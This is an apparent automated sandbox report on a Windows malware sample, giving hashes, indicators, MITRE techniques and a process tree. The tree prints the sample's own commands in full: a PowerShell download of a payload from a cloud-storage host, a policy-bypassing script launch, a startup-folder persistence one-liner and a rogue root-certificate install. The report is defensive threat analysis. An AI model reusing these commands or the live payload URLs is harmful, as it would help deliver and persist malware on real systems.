e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172

Analysis

max time kernel
125s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06/11/2024, 23:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2.exe
Size 1.1MB
Sample241106-3mdgpaspdn
SHA256 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172
MD5 c96a43db0abf02b0db8ca6efc658dc38
SHA1 a7c1b56d517d66e054e17c6cbd54bb3f1eafab8d
SHA512 6a607ee81d5fa7837643402c9c1d657dea5f0e819b64731f92bf72383d416d6e219520f15e8fb6fd5531fb0b7a1464b80ec30f9699b4304863b276cc2831ff8a
SSDEEP 24576:BrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9TvaT+DCfkPY:B2EYTb8atv1orq+pEiSDTj1VyvBaTJkQ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://my.cloudme.com/v1/ws2/:slight-stood/:web/web.txt

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 3896 created 3444	3896	Guard.exe	56
PID 3896 created 3444	3896	Guard.exe	56
PID 2176 created 3444	2176	jsc.exe	56

Blocklisted process makes network request 3 IoCs

flow	pid	Process
8	2700	powershell.exe
19	1960	powershell.exe
47	4496	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2700	powershell.exe
1960	powershell.exe

Downloads MZ/PE file

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url	cmd.exe

Executes dropped EXE 3 IoCs

pid	Process
3896	Guard.exe
2176	jsc.exe
4080	jsc.exe

Loads dropped DLL 2 IoCs

pid	Process
4496	rundll32.exe
4496	rundll32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2176 set thread context of 4080	2176	jsc.exe	107

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Mozilla Firefox\firefox.exe	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2564	4080	WerFault.exe	107

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 22 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\595BDFFE204A5DC165BAAB0581200B29ABBCF095	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\595BDFFE204A5DC165BAAB0581200B29ABBCF095\Blob = 030000000100000014000000595bdffe204a5dc165baab0581200b29abbcf09520000000010000005e0200003082025a308201c3a003020102020803a088ee00250985300d06092a864886f70d01010b050030653136303406035504030c2d4d6963726f736f66742052534120526f6f7420436572746966696361746520417574686f666974792032303137311e301c060355040a0c154d6963726f736f667420436f72706f726174696f6e310b3009060355040613025553301e170d3232313130373233343033385a170d3236313130363233343033385a30653136303406035504030c2d4d6963726f736f66742052534120526f6f7420436572746966696361746520417574686f666974792032303137311e301c060355040a0c154d6963726f736f667420436f72706f726174696f6e310b300906035504061302555330819f300d06092a864886f70d010101050003818d00308189028181009e84f46e35d1a449ce788077e4746872018480fe85fab3de69f12094fe18bc4a1a3a9e0f714b96ced8f459833974aaacf6c838fec1308f1537071838b3d296c4dfcb72b3c9c320943fdc1932eac41fc7e9f31100e47a2c4b713c916dc097dafc4f8861d4aecf45cb726dc2046f0df099312c749b4ab2b4c3db9600f4872343d30203010001a3133011300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038181003452be05e1a85e85be533d1b59133eb20851bcb3b7ab7b85596c56a76babc77f6c2ab02b42ee549af5168e53525ff5a69b81bc1ec5256055362389db1f22c77608db2389082110d24f535a202c80aafd9451b3b81b1aad67560d63ab150e5a6d5eeae35351f015ecee674512a86af9753ccdd43db02e876278f66d7353c352ad	rundll32.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
2700	powershell.exe
2700	powershell.exe
1960	powershell.exe
1960	powershell.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe
2176	jsc.exe
4496	rundll32.exe
4496	rundll32.exe
4496	rundll32.exe
4496	rundll32.exe
4496	rundll32.exe
4496	rundll32.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	2176	jsc.exe
Token: SeDebugPrivilege	2176	jsc.exe
Token: SeIncreaseQuotaPrivilege	3616	WMIC.exe
Token: SeSecurityPrivilege	3616	WMIC.exe
Token: SeTakeOwnershipPrivilege	3616	WMIC.exe
Token: SeLoadDriverPrivilege	3616	WMIC.exe
Token: SeSystemProfilePrivilege	3616	WMIC.exe
Token: SeSystemtimePrivilege	3616	WMIC.exe
Token: SeProfSingleProcessPrivilege	3616	WMIC.exe
Token: SeIncBasePriorityPrivilege	3616	WMIC.exe
Token: SeCreatePagefilePrivilege	3616	WMIC.exe
Token: SeBackupPrivilege	3616	WMIC.exe
Token: SeRestorePrivilege	3616	WMIC.exe
Token: SeShutdownPrivilege	3616	WMIC.exe
Token: SeDebugPrivilege	3616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3616	WMIC.exe
Token: SeRemoteShutdownPrivilege	3616	WMIC.exe
Token: SeUndockPrivilege	3616	WMIC.exe
Token: SeManageVolumePrivilege	3616	WMIC.exe
Token: 33	3616	WMIC.exe
Token: 34	3616	WMIC.exe
Token: 35	3616	WMIC.exe
Token: 36	3616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3616	WMIC.exe
Token: SeSecurityPrivilege	3616	WMIC.exe
Token: SeTakeOwnershipPrivilege	3616	WMIC.exe
Token: SeLoadDriverPrivilege	3616	WMIC.exe
Token: SeSystemProfilePrivilege	3616	WMIC.exe
Token: SeSystemtimePrivilege	3616	WMIC.exe
Token: SeProfSingleProcessPrivilege	3616	WMIC.exe
Token: SeIncBasePriorityPrivilege	3616	WMIC.exe
Token: SeCreatePagefilePrivilege	3616	WMIC.exe
Token: SeBackupPrivilege	3616	WMIC.exe
Token: SeRestorePrivilege	3616	WMIC.exe
Token: SeShutdownPrivilege	3616	WMIC.exe
Token: SeDebugPrivilege	3616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3616	WMIC.exe
Token: SeRemoteShutdownPrivilege	3616	WMIC.exe
Token: SeUndockPrivilege	3616	WMIC.exe
Token: SeManageVolumePrivilege	3616	WMIC.exe
Token: 33	3616	WMIC.exe
Token: 34	3616	WMIC.exe
Token: 35	3616	WMIC.exe
Token: 36	3616	WMIC.exe
Token: SeDebugPrivilege	4496	rundll32.exe

Suspicious use of FindShellTrayWindow 20 IoCs

pid	Process
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe

Suspicious use of SendNotifyMessage 20 IoCs

pid	Process
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
1940	2.exe
3896	Guard.exe
3896	Guard.exe
3896	Guard.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 1940 wrote to memory of 2700	1940	2.exe	84
PID 1940 wrote to memory of 2700	1940	2.exe	84
PID 1940 wrote to memory of 1960	1940	2.exe	88
PID 1940 wrote to memory of 1960	1940	2.exe	88
PID 1960 wrote to memory of 3896	1960	powershell.exe	101
PID 1960 wrote to memory of 3896	1960	powershell.exe	101
PID 1960 wrote to memory of 3896	1960	powershell.exe	101
PID 3896 wrote to memory of 4204	3896	Guard.exe	102
PID 3896 wrote to memory of 4204	3896	Guard.exe	102
PID 3896 wrote to memory of 4204	3896	Guard.exe	102
PID 3896 wrote to memory of 2176	3896	Guard.exe	106
PID 3896 wrote to memory of 2176	3896	Guard.exe	106
PID 3896 wrote to memory of 2176	3896	Guard.exe	106
PID 3896 wrote to memory of 2176	3896	Guard.exe	106
PID 3896 wrote to memory of 2176	3896	Guard.exe	106
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 2176 wrote to memory of 4080	2176	jsc.exe	107
PID 4080 wrote to memory of 1600	4080	jsc.exe	108
PID 4080 wrote to memory of 1600	4080	jsc.exe	108
PID 4080 wrote to memory of 1600	4080	jsc.exe	108
PID 1600 wrote to memory of 3616	1600	cmd.exe	110
PID 1600 wrote to memory of 3616	1600	cmd.exe	110
PID 1600 wrote to memory of 3616	1600	cmd.exe	110
PID 4080 wrote to memory of 4496	4080	jsc.exe	111
PID 4080 wrote to memory of 4496	4080	jsc.exe	111
PID 4080 wrote to memory of 4496	4080	jsc.exe	111

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3444
- C:\Users\Admin\AppData\Local\Temp\2.exe
  "C:\Users\Admin\AppData\Local\Temp\2.exe"
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://my.cloudme.com/v1/ws2/:slight-stood/:web_1/web" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1960
  - - C:\Users\Public\Guard.exe
      "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:3896
- C:\Windows\SysWOW64\cmd.exe
  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\Admin\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:4204
- C:\Users\Public\jsc.exe
  C:\Users\Public\jsc.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2176
- C:\Users\Public\jsc.exe
  "C:\Users\Public\jsc.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /C wmic diskdrive where "DeviceID=\'c:\'" get SerialNumber /value
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic diskdrive where "DeviceID=\'c:\'" get SerialNumber /value
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3616
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\.ses",start
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4496
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61
      4⤵
      PID:3944
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61
      4⤵
      PID:1420
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61
      4⤵
      PID:2436
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61
      4⤵
      PID:3472
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61
      4⤵
      PID:412
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4080 -s 388
    3⤵
    - Program crash
    PID:2564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4080 -ip 4080
1⤵
PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fcd4a469c653f6bd319b201326633c2183a70184bc159c071915a9c4abd92d3c
MD5 055cd1930e45c3d77aa744d53bcc29d9
SHA1 af1464daf329f36930b71fb33119c61a13472b6d
SHA512 00ee038f281f34c7d727b7d6d7734bdfc61ee742b33edc5f905adae6afa949b9a9da8c575d949e98b24b59005e469628e99f113e0fc612dc24bbba7f098fa65d
MD5 SHA1 SHA512

Submit Download

.ses

Path C:\Users\Admin\AppData\Local\Temp\.ses
Size 4.0MB
SHA256 4ce7ab94060f74f36288dcce8ec72b65778183d99064660644834010f42b736b
MD5 7d96e2ae9f73e6b73fadaac62119c2a0
SHA1 f0e8de3ec0d6eb9cb90ac952288b6a9b423fbb76
SHA512 01b5a3d8ced0baa1bc3d4337831bfdebbdd98e6400061d828a29ea31c04c56d15ac1aa66a0e81c787491f0a8a542430fd2a39173a9a6ef446f04149da1df7666
SSDEEP 98304:6EefzVA1J7lIFeOUo2AvgfCnFcsmauLlk907/:F1NlIjgfpsmauLlk907
MD5 SHA1 SHA512 SSDEEP

Submit Download

Iefqirreqed

Path C:\Users\Admin\AppData\Local\Temp\Iefqirreqed
Size 40KB
SHA256 02b1c2234680617802901a77eae606ad02e4ddb4282ccbc60061eac5b2d90bba
MD5 ab893875d697a3145af5eed5309bee26
SHA1 c90116149196cbf74ffb453ecb3b12945372ebfa
SHA512 6b65c0a1956ce18df2d271205f53274d2905c803d059a0801bf8331ccaa28a1d4842d3585dd9c2b01502a4be6664bde2e965b15fcfec981e85eed37c595cd6bc
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_ujmnz5gt.asc.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ujmnz5gt.asc.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Guard.exe

Path C:\Users\Public\Guard.exe
Size 872KB
SHA256 d8b7c7178fbadbf169294e4f29dce582f89a5cf372e9da9215aa082330dc12fd
MD5 18ce19b57f43ce0a5af149c96aecc685
SHA1 1bd5ca29fc35fc8ac346f23b155337c5b28bbc36
SHA512 a0c58f04dfb49272a2b6f1e8ce3f541a030a6c7a09bb040e660fc4cd9892ca3ac39cf3d6754c125f7cd1987d1fca01640a153519b4e2eb3e3b4b8c9dc1480558
SSDEEP 12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5 SHA1 SHA512 SSDEEP

Submit Download

PublicProfile.ps1

Path C:\Users\Public\PublicProfile.ps1
Size 362B
SHA256 dae667196e8dc197c7e0a5ecb4718d26f8a8276c72cc190e14cdf8ed67b3b8c5
MD5 315eab1b113060397deb5d4013e64eae
SHA1 d1578170885d0375b2aa22954badaeb36a539026
SHA512 f74b12217c36bac596bda9ac1d86d256a13591916774b795dbd1cf1525c90f93d0b9fe26b68f19a4dacb751d0b4f3649e9cf42a2fa0a1e916b9326fbe3c09ced
MD5 SHA1 SHA512

Submit Download

Secure.au3

Path C:\Users\Public\Secure.au3
Size 10.7MB
SHA256 daf4100279eaabf2c17b8e08026f4da4ebd817dc16d381b3daebe7adb9384c7c
MD5 4bdd41d598fd897ce21bd86264030448
SHA1 2907df32a0b8fb017a0f5ba53605245cc0119c44
SHA512 7d3895d6640566bac911c3638328fd794ffcc6fcf4ce365848f0e498df16b4a5c5659efd4fb4eacb51d3d9a394457f55b9f3ae1c530de99554728b94d57d531f
SSDEEP 24576:qcIrVFbo0McE+mxGNa1TDCexwF9IfN3hcwRxlbh2pwWQ8quQylCFQDZ6Sx5Bx8S/:4
MD5 SHA1 SHA512 SSDEEP

Submit Download

jsc.exe

Path C:\Users\Public\jsc.exe
Size 46KB
SHA256 39e87f0edcdd15582cfefdfab1975aadd2c7ca1e3a5f07b1146ce3206f401bb5
MD5 94c8e57a80dfca2482dedb87b93d4fd9
SHA1 5729e6c7d2f5ab760f0093b9d44f8ac0f876a803
SHA512 1798a3607b2b94732b52de51d2748c86f9453343b6d8a417e98e65ddb38e9198cdcb2f45bf60823cb429b312466b28c5103c7588f2c4ef69fa27bfdb4f4c67dc
SSDEEP 768:DeSZaMT79n3DwU8ZCM2o1QG/n29WERqqJaqW/P8+4W:DeoaElzEZ2fG/nmkK4s+4W
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1960-29-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

Download

memory/1960-32-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

Download

memory/1960-33-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

Download

memory/1960-34-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

Download

memory/1960-28-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

Download

memory/1960-39-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

Download

memory/1960-18-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

Download

memory/2176-104-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-100-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-51-0x0000000006460000-0x00000000068EE000-memory.dmp

Download

memory/2176-52-0x0000000007B40000-0x0000000007FD0000-memory.dmp

Download

memory/2176-53-0x0000000008590000-0x0000000008B34000-memory.dmp

Download

memory/2176-54-0x00000000080E0000-0x0000000008172000-memory.dmp

Download

memory/2176-67-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-64-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-74-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-81-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-78-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-90-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-92-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-1134-0x0000000005530000-0x0000000005584000-memory.dmp

Download

memory/2176-120-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-118-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-116-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-114-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-113-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-110-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-108-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-106-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-102-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-48-0x0000000000740000-0x0000000000C02000-memory.dmp

Download

memory/2176-98-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-82-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-96-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-95-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-88-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-84-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-86-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-77-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-70-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-72-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-68-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-62-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-60-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-58-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-57-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-55-0x0000000007B40000-0x0000000007FCA000-memory.dmp

Download

memory/2176-1129-0x0000000005680000-0x0000000005A82000-memory.dmp

Download

memory/2176-1130-0x00000000051E0000-0x000000000522C000-memory.dmp

Download

memory/2700-0-0x00007FF9F5823000-0x00007FF9F5825000-memory.dmp

Download

memory/2700-15-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

Download

memory/2700-11-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

Download

memory/2700-6-0x000002CDCC950000-0x000002CDCC972000-memory.dmp

Download